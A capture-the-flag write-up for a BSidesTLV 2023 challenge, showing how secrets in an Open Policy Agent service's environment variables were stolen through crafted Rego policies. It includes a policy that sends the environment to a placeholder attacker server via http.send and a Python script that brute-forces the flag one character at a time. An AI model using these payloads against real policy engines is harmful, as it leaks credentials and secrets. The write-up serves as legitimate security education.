Starting from docker-compose we notice two main services: backend, and opa. Flag resides under env variable: FLAG under opa.
Backend is an application server written in go. viewing the src code reveals two main endpoints: /add and /eval.
After some research about OPA (Open Policy Agent - ```https://www.openpolicyagent.org/docs/latest/```) its understandable that the service allows to create a policy and then evaluate the policy.
On creation, there is a regexp forbidding us from putting in the policy any char different than: ```a-zA-Z0-9=\s,:[]{}()".``` those characters.
A nice playground i used to get to know the rego (the language used to write policies): ```https://play.openpolicyagent.org/```.
Since we know that the flag is in the env variable, I started to research how to access env. variables from a policy, and tackled this post: `https://lia.mg/posts/malicious-rego/. `
Sounds promising! let's try to leak the flag via http to our endpoint, by creating the next policy:
```allow {    request := {        "url": "https://MY_SERVER",        "method": "POST",        "body": opa.runtime().env,    }    response := http.send(request)}```
But unfortunately after countless tries it didn't work.
Spending some time after, continued reading the docs and tackled some builtin functions on strings which seemed to be very interesting:startsWith and substring! Ok, what about leaking each character of the flag by checking if it starts with something? sounds legit!
let's create the policy:
```{	"policy": "allow{startswith(opa.runtime().env[\"FLAG\"],\"BSidesTLV2023{\")==true}"}```
And we get res: true! That's great, but there is problem - once I wrote the script that leaks each character, when we reach an underscore - we cannot put it as prefix since the regexp forbids us from using underscore, so instead I used substring:
```{	"policy": "a{substring(opa.runtime().env[\"FLAG\"],input.index,1)==input.cand}"}```
eval allows us to send parameters to the policy as input, so instead of creating a lot of policies, we create one, and then evaluating it with two parameters:the first is the char index in the flag, and the second is the char itself:
For example, ```https://opa-opa-opa-opa-opa-hei.ctf.bsidestlv.com/eval{    "uuid": "c180bba7-0609-43db-8d36-e7b0d462e5b6",    "input": "{\"input\":{\"index\":0, \"cand\":\"B\"}}"}```returns True!
When the script doesn't find a match for the char, it means that its probably an under score of some other forbidden character.The script:
```import requestsimport stringimport json
headers = {"Content-Type": "application/json; charset=UTF-8"}payload = {"policy": "allow{substring(opa.runtime().env[\"FLAG\"],input.index,1)==input.cand}"}response = requests.post("https://opa-opa-opa-opa-opa-hei.ctf.bsidestlv.com/add",                         headers=headers,                         data=json.dumps(payload))
policy_uuid = json.loads(response.text)
flag_length = 50flag = "BSidesTLV2023{"allowed_alphabet = string.digits + string.ascii_letters + "}"
for index in range(len(flag), flag_length, 1):    found = False    for cand in allowed_alphabet:        payload = {            "uuid": policy_uuid["uuid"],            "input": json.dumps({"input": {"index": index, "cand": cand}})        }        res = requests.post("https://opa-opa-opa-opa-opa-hei.ctf.bsidestlv.com/eval",                            headers=headers,                            data=json.dumps(payload))
        found = json.loads(res.text)["res"]        if found:            flag += cand            print(f"Found: {flag}")            if cand == "}":                print("Done")                exit(0)            break
    if not found:        flag += "?"```
Now we are left with some guessing: 
`BSidesTLV2023{0paOpaoPaop?H3i?Policy3vAL}`
`BSidesTLV2023{0paOpaoPaop?H3i_Policy3vAL}`
`BSidesTLV2023{0paOpaoPaop_H3i_Policy3vAL}`
`BSidesTLV2023{0paOpaoPaopaH3i_Policy3vAL}`
`BSidesTLV2023{0paOpaoPaopAH3i_Policy3vAL}`
`BSidesTLV2023{0paOpaoPaop4H3i_Policy3vAL}`
`BSidesTLV2023{0paOpaoPaop@H3i_Policy3vAL}` correct!
captainBCamelRiders